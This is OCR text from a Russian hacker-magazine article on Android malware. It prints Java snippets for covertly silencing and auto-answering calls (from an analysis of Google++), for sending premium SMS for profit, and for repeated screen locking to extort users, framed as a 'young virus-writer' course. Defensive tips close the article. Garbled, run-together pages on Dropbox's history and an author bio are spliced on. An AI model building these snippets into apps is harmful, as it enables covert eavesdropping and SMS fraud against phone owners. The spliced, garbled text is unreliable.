книги хакеры / журнал хакер / 154_Optimized

ВИРУСЫДЛЯ ГУГЛОФОНОВ:

КАКОНИСОЗДАЮТСЯ ИЧТОСНИМИДЕЛАТЬ?

В стане владельцев мобильных телефонов на OC Android с недавних пор растет беспокойство. Причина тому — быстро растущее количество всевозможной малвари, которая пробирается на аппараты владельцев, причем не откуданибудь, а вполне легальным способом — устанавливается с маркета. Не будем оставаться в стороне и познакомимся с ситуацией поближе.

АНАМНЕЗ

Первые серьезные жалобы у владельцев андрофонов появились в январе этого года. Я уверен, что малварь существовала и до этого, но была локализована на всяких форумах с пиратским софтом. Основной же шум поднялся в марте, когда стало известно, что в официальный маркет Google пробрались фейковые приложения, которые тайно воруют личные данные, рутят телефон и открывают бэкдор. Несмотря на то, что Google пропустила вредоносные приложения в маркет, компания очень быстро реабилитировалась, удалив аккаунт злоумышленника (Myournet), весь софт, который он выложил, а также удаленно деинсталировала установленные приложения с телефонов.

Сразу же активизировались компании, создающие софт по защите от вирусов, и начали пачками выкладывать в маркет антивирусы.

К началу августа шумиха с малварью немного спала, но тут большинство новостных сайтов вновь затрубили, что появился вирус, который помимо «стандартного» похищения личных данных еще и записывает телефонные разговоры. Работает он следующим образом: при каждом звонке программа активизируется и сохраняет разговор на карте памяти в папке /shangzhou/callrecord в формате *.amr. Выяснить, отправляет ли она эти записи куда-нибудь, мне так и не удалось, потому что информационные источники разнятся в пока-

ОтправляемплатноеSMS?

заниях, а саму малварь мне раздобыть не удалось. На всякий случай, глянь свою карту памяти на предмет указанной папки, может быть, тебе повезло больше ;).

Буквально несколько недель назад появилось некое приложение Google++, маскирующееся под приложение для известной социальной сети от корпорации добра. Оно также собирает всю информацию о пользователе, но наибольший интерес общественности вызвала функция «подслушивания разговоров». На практике все оказалось банально: при обнаружении входящего звонка приложение переводит телефон в беззвучный режим, скрывает уведомление о звонке и поднимает трубку. Что такого можно подслушать, если телефон лежит в кармане, я не знаю, хотя если учесть, что при переговорах многие люди кладут телефон перед собой, то определенная польза от такого способа может быть.

СТРАТЕГИЯ И ТАКТИКА

Трудно винить Google за то, что они не уследили за приложениями на маркете. Ведь это были самые обычные приложения, но с недокументированными функциями :). Отсутствие тщательной проверки (которая существует в Apple AppStore) тоже понятно — это шаг навстречу разработчикам, чтобы те могли оперативно выкладывать и обновлять свой софт.

С точки зрения злоумышленника мы имеем дело с банальной социальной инженерией.

Кто смотрит на разрешения, которые запрашивает программа для установки? А кто в них разбирается? Ведь каждая, вполне банальная и легальная программа требует себе целую кучу прав. :). Давай посмотрим, какие шаги предпринимают хитрые вирмейкеры для того, чтобы наживить свой левый софт на телефоны пользователей.

1.«Официальный»функционал.Приложениедолжночто-тоделать. Илихотябысоздаватьвидимостьдеятельности,чтобыкакможно

дольшепрожитьнасмартфонеюзера.Условие,конечно,необя- зательное—можно«сделатьвид»,чтопрограммавылетела,а

самомувтихаряоткрытьбэкдор,отправитьпаруСМСнаплатный номер,сграбитьтелефоннуюкнигуит.д.

2.Красивоеназвание.ПосмотринаопытMyournet:GuitarSoloLite «превратилась» вSuperGuitarSolo,насветпоявилисьSuperSex

PositionsиHotSexyVideos.Идеяясна,нетакли?Да,народдосихпор клюетнавсякиегромкиеприставкитипа«Super»,«Hyper» ихаляв-

нуюпорнушку:).

3.Боевойконтент.Основнаянаправленностьмалвари—этосбор всевозможнойинформации:СМС,телефонныекниги,данныеGPS, записьтелефонныхзвонковипрочее.Думаю,чтопройдетнемного времени,ипоявятсяцелыеботнетыизмобильныхтелефонов, учитывая,чтоужесейчасестьвирусы,которыеобладаютвсемнеобходимымдляэтогофункционалом.

Защищаемсяотпрыткихтоварищей

КОВЫРЯЯ GOOGLE++

Возвращаясь к недавним событиям и Google++, нужно обратить внимание на исследования, которая провела и описала в своем блоге компания Trend Micro. Ребята рассказали страждущим, каким образом телефон переходил в тихий режим и незаметно поднимал трубку. Я привел ссылку на их заметку, и ты можешь самостоятельно ознакомиться со всеми подробностями. Здесь же я покажу самое вкусное: пару функций, которые позволят перевести телефон в беззвучный режим и ответить на звонок.

Переход в тихий режим

private void silenceResponse()

{

int i = Log.w("spy","silenceResponse");

int j = this.audioManager.getRingerMode();

this.oldRingerMode = j;

int k = this.audioManager.getVibrateSetting(0);

this.oldRinger = k;

int m = this.audioManager.getVibrateSetting(1);

this.oldNotification = m;

this.audioManager.setRingerMode(0);

this.audioManager.setVibrateSetting(0, 0);

this.audioManager.setVibrateSetting(1, 0);

}

СкрытьсяотAdvancedtaskkillerнаандроидахпоканеудается

Ответ на звонок и сокрытие уведомления о нем

private void answerCall() {

try {

PhoneUtil.getITelephony(this.tm).silenceRinger();

boolean bool = PhoneUtil.getITelephony(this.m).

showCallScreenWithDialpad(0);

PhoneUtil.getTelephony(this.tm).answerRingingCall();

Thread.sleep(800L);

goToHomePage();

setKeyguard(0);

return;

}

}

ОТПРАВЛЯЕМ СМС

Наверное, самый распространенный недуг, который поражает абсолютно все мобильные платформы — это приложения, которые подло отправляют СМСки на платные номера. Посмотрим, как сделать такое приложение на Android. В сущности, все предельно просто: нужно лишь воспользоваться классом SmsManager:

Отправляем СМСку

private static final int ReqCodeSms = 123;

public synchronized void SendSms(String phone,

String text){

PendingIntent Result = createPendingResult(

ReqCodeSms, getIntent(), 0);

SmsManager.getDefault().sendTextMessage(phone,

null, text, Result, null);

}

Код в комментариях не нуждается, тут все просто и понятно. Этого достаточно, чтобы немного подзаработать за счет пользователя. Кстати, сделать это можно и с помощью Scripting Layer For Android, о котором я писал в августовском номере.

ВОЗМОЖНО ЛИ СКРЫТЬСЯ ОТ ТАСККИЛЛЕРА?

Этот вопрос волнует многих разработчиков, и я частенько встречаю его на форумах. К сожалению, ни я, ни различные андроидсообщества не нашли корректно работающих способов скрыться от вездесущих таскменеджеров. Даже если умельцы и скрывались от встроенного таскменеджера при помощи различных костылей, их непременно вычислял Advanced Task Killer. Поэтому мое мнение: лучше придумать какое-нибудь звучное и умное название, чтобы пользователь побоялся даже ненароком убить не слишком полезную софтину.

КОДИМ СКРИНЛОКЕР

Популярность СМС-вымогателей для винды уже показала, что злоумышленник вполне может заработать на наивных пользователях, поэтому мысль портировать эту идею для Android-устройств кажется вполне логичной.

Первое, что приходит на ум, — сделать свой скринлокер. К счастью для пользователей, сделать это не так легко. Во-первых, политика безопасности Android такова, что пользователь всегда может выйти из любого приложения по нажатию клавиши Home, и если другие клавиши злоумышленник может заблокировать, то Home остается неприступной.

Второй выход из ситуации — выставить собственный паттерн блокировки аппарата и нагло потребовать с пользователя деньги за заветную комбинацию. Но здесь злоумышленники опять сталкиваются с проблемой: на нерутованном девайсе (а таких большинство), провернуть такой трюк не удастся. Поэтому если кому-то захочется написать нечто подобное, придется подумать над реализацией эксплоита, который будет сначала рутить девайс, а потом уже будет заниматься вымогательствам (нелегкие деньги, однако :)). Да, и не надо забывать, что не все устройства ведут себя адекватно и корректно после получения root-прав, поэтому вместо того, чтобы выполнить свое предназначение, программа может зависнуть или (скорее всего) просто вылететь, а нервный пользователь может быстро проделать хард-ресет, и весь труд пропадет даром.

Таким образом, самое опасное, что можно сделать при помощи API Android, не прибегая к ухищрениям, — это просто запустить блокировку экрана. Делается это в Android 2.2 следующим образом:

Программный запуск блокировки экрана

DevicePolicyManager devicePolicyManager =

(DevicePolicyManager) getSystemService(

Context.DEVICE_POLICY_SERVICE);

devicePolicyManager.lockNow();

Можно обыграть это таким образом, чтобы экран у пользователя блокировался каждые несколько минут, что в конце-концов так его достанет, что он плюнет и отправит заветную СМС.

КУРС ЮНОГО ВИРМЕЙКЕРА: ИСПОЛНЕНИЕ В ФОНЕ

Для выполнения фоновых задач в Android есть инструмент — сервисы. Рассмотрим конструкцию простейшего сервиса. Откроем Eclipse и создадим там новый проект для андроида. Прежде всего, нужно объявить сервис в файле AndroidManifest.xml. Делается это следующим образом:

<service android:enabled="true" android:name=".Service_

Activity"></service>

Здесь Service_Activity — это имя сервиса. Теперь нужно объявить класс, описывающий сервис, а также его запуск и остановку:

Класс, описывающий сервис

public class Service_Activity extends Service {

private Timer timer = new Timer();

public void onCreate(){

super.onCreate();

startservice();

}

private void startservice(){

timer.scheduleAtFixedRate(new TimerTask(){

public void run(){

//Тут можно выполнять

//запланированные действия

}

},0,1000);

}

private void stopservice(){

if(timer != null) {

timer.cancel();

}

}

}

Для наглядности я пошел самым элементарным способом — просто создал таймер, который будет выполнять запланированные действия с заданным интервалом. В реальном примере код, конечно, усложнится, но суть в целом останется той же. Теперь все, что нужно

— это просто вызвать его из активити.

КАК ТЕПЕРЬ ЖИТЬ?

Сейчас можно сказать, что проблема мобильной малвари находятся в зародыше, но из этого зародыша со временем явно может вырасти могучий монстр. Количество андроидофонов растет в геометрической прогрессии, могучий Китай сотнями кует пятидесятибаксовые смартфоны и рассылает их по всем миру… А Google в угоду разработчикам упростила прием приложений в маркет, тем самым сделав возможным проникновение в него вредоносного ПО. Пока такого софта немного, и корпорация добра довольно бодро справляется с его чисткой, но что будет, если количество зараженных программ начнет расти? Не будем строить догадки, а лучше подумаем, как постараться обезопасить себя. Первое, что стоит сделать, — это обезопасить телефон от физического вторжения (например, твой товарищ захочет испытать на твоем телефоне самописный троянчик, пока ты отлучился ненадолго). Обломать такого товарища можно элементарно: поставив индивидуальный паттерн для разблокировки клавиатуры. Делается это в разделе Location & security настроек твоего телефона.

Второй совет: все-таки избегать других источников приложений, кроме официального маркета, и отключить в настройках опцию «Доверять неизвестным источникам» — да, мы себя ограничиваем, но бывают моменты, когда безопасность важнее. Далее: при установке приложения всегда обращай внимание на производителя и на название, и если есть какие-то неувязки, то лучше лишний раз погуглить, чем потом лишиться важной информации. Если же ты решил все-таки установить приложение, обрати внимание на разрешения, которые ему требуются. Понятно, что сейчас все приложения хотят как можно больше доступа, но лишняя осторожность еще никому не мешала. z

В

ТригоданазадоDropbox никтонеслышал.Сейчасо немзнаетчутьлинекаждый.Какнебольшойкомандепрограммистовудалось превратитьбесхитростную идеювсервис,безкоторо-

гонепредставляютсебе жизньмиллионылюдейпо всемумиру?Этотпутьбыл интересенипоучителен.

Основателии авторыDropbox

ОТ ИДЕИ ДО СТАРТА

СоздателямииоснователямисервисаDropbox считаютсядвачеловека:27-летнийамериканец ДрюХьюстониегоровесник,иранецамериканскогопроисхожденияАрашФирдоуси.Идея Dropbox'а,какэтоибываетсомногимигениальнымиидеями,пришлавголовуХьюстону случайно.Дрючастоприходилосьработатьза несколькимидесктопамииноутбуком,атаскать файлынафлешке,которуюонрегулярногде-то забывал,быложутконеудобно.Ктомужевэтом случаенельзябылогарантироватьсохранность данных.Когдавдругсгорелегокомпьютервместе сжесткимдиском,Дрюсерьезнозадумалсяотом, чтобыперенестифайлывоблако.Во-первых, длябольшейсохранности.Аво-вторых,длятого, чтобыможнобылообращатьсякнимоткуда угодно.Нашгеройпробовалразличныесервисы дляоблачногохраненияданных.Однаковсеони, поегословам,«страдалиотлагов,багов,плохо реагировалинабольшиефайлы(иливообщене работалисними)ивцеломзаставлялипользователяслишкоммногодумать».Дальнейшийсценарийзаслуживает5балловврейтингепошлых successstory,потомучтоДрюрешилизобрести велосипед.Сделатьсвойсервисдлясинхронизациифайлов.Ибыстроосознал,чторазработка можетбытьполезнанетолькоему.

ПЕРВАЯ КОМАНДА

ДоработынадDropboxХьюстонужеуспелпоучаствоватьвтакихстартапахкакBit9,Accoladeи Hubspot,такчтоопределенныйопытзаплечами унегоужебыл.Длятех,ктолюбитпридиратьсяк фактаминеполенитсяподсчитать,поясню:Дрю

программируетс5лет,аучастиевразличных стартапахпринимаетс14лет.Никакойошибки здесьнет,простопереднамиочередноеюное дарование.Кстати,весьманепосредственное—в поискахинвестицийдляDropboxДрюрассказывалинвесторамотом,чтопрошлымлетомон, смехаради,реверс-инжинирилсофтнескольких покерныхсайтовинаписалиграющийнанастоящиеденьги,почтибезубыточныйпокерный бот.Скриншотприлагался:).Темнеменее,весьма скоросталоясно,чтосправитьсяводиночкус поставленнойзадачейХьюстону,увы,неподсилу. Тогда-тоониобратилсязапомощьюксвоему приятелю,тожестудентуМТИ,АрашуФирдоуси. Последний,нужноотметить,натотмоментучился ужена4курсе,норадиинтересногопроектаи перспективрешилсяброситьинститут.Пареньне прогадал—наданныймоментФирдоусиявляется техническимдиректоромкомпанииDropbox.

ПОИСК ИНВЕСТОРОВ

Когдав2007годубудущийДропбоксобрелуже вполнеконкретныеочертания,ФирдоусииХьюстоносноваликомпаниюDropboxInc.ипринялись искатьинвесторов.Парнипонимали,чтоподнять проектсамостоятельно,оплачиваяхостинг длятакогоколичествафайлов,«накарманные деньги»будетпопростуневозможно.ВСетидо

сихпорможнонайтикопиюзаявки(bit.ly/raHM1K), отправленнойХьюстономвбизнес-инкубаторY Combinator.Изнее,кпримеру,можноузнать,что длянаписанияиобслуживанияпервогорабочего прототипаиспользовалисьPython,sqlite(вклиентскойчасти),mysql(насервере),фреймворк turbogearsиглавное—AmazonEC2иS3для

НЕСТАНДАРТНЫХ

СПОСОБОВ

ИСПОЛЬЗОВАТЬ DROPBOX

•Dropboxуспешноиспользуютвкачестве хостингадлянебольшихсайтов.

•СDropboxможносинхронизироватьлоги Skype,QIPидругихмессенджеров.

•СохранятьвDropboxсейвыдляигр, есливдуматься,тожевесьмаудобно.

•Dropboxможетпослужитьнеплохим дополнениемкохраннойсистемеПК.

•СпомощьюDropboxлегконаладитьудаленныйзапускскачиванияторрентов.

Большеонестандартныхспособах применениясервисаможноузнать вофициальнойWikiпроекта: wiki.dropbox.com/TipsAndTricks.

Кадризпрезентации,посвященнойисториисервиса. Маркетингопределеннонеудался:)

Ещеодинслайдизпрезентации.КакDropboxпривлекает пользователей.

хостингасерверовихраненияданных.Интересно, какХьюстонподавалсвоейпроектпотенциальныминвестораминачтоименноделалупор.Ниже яприведунесколькоцитатиззаявки:

•«Есливзятьлучшееотsubversion,tracиrsync изаставить«простоработать»врукахсреднестатистическогопотребителяилигруппы таковых—получитсяDropbox».

•«Янахожуоченьсмешнымиимена,которые людивынужденыдаватьсвоимдокументам, вцеляхотражения«версионности».Знаете, вроде:«предложениеv2положительнорас- смотренноеНОВЫЙ11-15-06.doc».

•«Существуютхорошиерешениядлясинхронизации(beinsync,Foldershare),существуют удобныетузлыдлябекапа(Carbonite,Mozy), естьтакжеисетевыесервисыдлязагрузки/ публикацииконтента,—однаконетудобного интегрированногорешения».

•«Работунадпроектомяначал3месяцатому назад.Наданныймоментнаписанопримерно5 тыс.строккодадляклиентаи2тыс.строккода длясервера.ЭтокоднаPythonиC++,шаблоны Cheetah,инсталлер-скриптыипр.».

•«Мыпланируемиспользоватьfreemiumподход,раздаваяаккаунтысквотойв1Гби взимаяплатузадополнительноепространство (возможнооколо$5,илидажеменьше,для индивидуальныхпользователей,плюстарифныепланыдлягрупп,которыеначинаютсяс

минимума-$20вмесяц)».

УсилияХьюстонаиФирдоусинепрошлодаром.

Dropboxпредельнопростипонятен,именнозаэтоегоиполюбилапублика.Взглянинаинтерфейс

Ужеспустяпарулетпослеблагополучногозапуска Dropbox,входепрезентации,посвященнойистории сервиса,ДрюХьюстонрассказывалотом,чтонеразине дваонимелсинвесторамиследующийдиалог:

Инвестор:Нонарынкесейчаспредставленымиллионы стартаповоблачныххранилищ!Зачемнамещеодно? Дрю:Выпользуетеськаким-тоизних?

Инвестор:Нет...

Дрю:Интересно,неправдали?

отдатьвсеэтонаоткуппрофессионалам.Такипоступили.Нанявнаработуумныхидорогостоящих «продажников»иSEO-специалистов,Dropbox принялсяпокупатьключевыесловавпоисковикахихитроподправлятьстраницысобственного сайта.Сользаключаласьвтом,чтоотлюдей, пришедшихнасайтпо«купленнымссылкам», пряталиопциюсозданиябесплатногоаккаунта, заменяяеенабесплатный,ноограниченныйпо временитриал.НизкопалисоздателиDropbox, нечегонескажешь.SEO'шникихорошегонепосоветуют:).Каковожебыловсеобщееудивление (должнобыть,большевсехудивлялисьсупердипломированныемаркетологи),когдавыяснилось,чтозатратынапривлечениевсервисодного пользователявыливаютсявкругленькуюсумму: $233-388,втовремякаксампродуктстоит$99в год!Epicfail!Всястратегияпродвижениятрещала пошвам:ключевыеслованаправоиналевоперекупалиськонкурентами,партнерскиепрограммы ирекламапочтиничегонедавали,асокрытиеопциисозданиябесплатногоаккаунта,естественно, оказалоськрайнесомнительнымходом.Команда Dropboxсужасомосознала,чтоделатьвсе«как принято»далеконевсегдазначитхорошо.

САРАФАННОЕ РАДИО И РЕФЕРАЛЬНАЯ ПРОГРАММА

Впрочем,приростпользователейвсеравнонаблюдался,инемалый:кавгусту2009годапроект насчитывалуже1млнаккаунтов.Несмотрянавсе допущенныеошибки,Dropboxпродолжалрасти иразвиваться.Немаловремениушлоукоманды стартапанаосмыслениеэтогопарадокса.ВпоследствиисамДрюХьюстонобъяснялэтотем, чтовсякомандаDropboxбыласосредоточенана

быловсего100тысяч,токянварю2010сталоуже 4миллиона,асейчас—ужеболее25миллионов. Реферальнаяпрограммаобеспечилаперманент- ный60%-ныйприростколичествановыхюзеров.

ДОХОДЫ DROPBOX

Правильнореализовавпростуюидею,сервис превратилсявбольшойбизнес.Захорошийсервисприятноплатить,илюдиохотноплатят.Создателиутверждают,чтосейчасзауслугиDropbox платитпорядка2%пользователей.Выручка компаниив2010годусоставила$14млн.Правда, существеннаячастьэтихденегуходитнаплату Amazon,укоторойкомпанияпокупаетсерверное пространство.Междутем,слухиутверждают, чтоданныецифрызанижены,иреальнаясумма годовойвыручкиDropboxближек$30млн.Втекущемгодуаналитикипрогнозируютвзятиекомпаниейпланкив$100млн.Согласноинформации TechCrunch,поитогамочередногораундафинансированияDropboxможетпривлечьот$200млн до$300млнинвестиций,исходяизобщейоценки компаниив$5-6млрд!Данныесуммыужевряд ли«взятыспотолка»,еслиучесть,чтовконце лета2011годакомпанияофициальнообъявила опереездевновыйогромныйофис(8120кв.м. противстарых1022кв.м.)ирассказала,чтов ближайшеевремясобираетсярасширитьштат сотрудниковс65до400+человек.Такогородаизменениянепроисходятнапустомместе. z

BRIEF

В2008годузакончил питерскийПолитехпо специальности«комплексноеобеспечениеинформационнойбезопасностиавтоматизированныхсистем».

Архитекторсканера «ERPScan—сканербезопас- ностиSAP».

Авторкниги«Безопасность Oracleглазамиаудитора: нападениеизащита».

Постоянныйдокладчикна ключевыхмеждународных конференцияхпобезопасности:BlackHat,HITB, HackerHalted,Source,Confide nce,DeepSEC,Troopers, SecurityByteит.д.

Большойлюбительэкстремальныхвидовспорта: стантрайдинг,роупджамп, вейкборд,серфингипутешествияпоИндиинапоездахв вагонахтретьегокласса.